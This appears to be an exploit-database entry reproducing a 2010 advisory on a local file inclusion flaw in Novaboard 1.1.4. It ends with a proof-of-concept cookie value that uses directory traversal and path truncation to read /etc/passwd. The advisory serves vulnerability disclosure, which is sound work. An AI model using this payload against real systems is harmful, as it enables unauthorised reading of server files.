Novaboard 1.1.4 - Local File Inclusion

Author: High-Tech Bridge SA
type: webapps
platform: php
port: 
date_added: 2010-10-27 
date_updated: 2010-12-18 
verified: 1 
codes: OSVDB-54060 
tags: 
aliases:  
screenshot_url:  
application_url: 

Vulnerability ID: HTB22657
Reference: http://www.htbridge.ch/advisory/lfi_in_novaboard.html
Product: Novaboard
Vendor: Novaboard  ( http://www.novaboard.net/ )
Vulnerable Version: 1.1.4 and probably prior versions
Vendor Notification: 13 October 2010
Vulnerability Type: Local File Inclusion
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nova_lang variable from cookie.

The following PoC is available:


Cookie: nova_lang=../../../../../../../../../../../../../../etc/passwd/././././.[>4095 * "/."]/././././.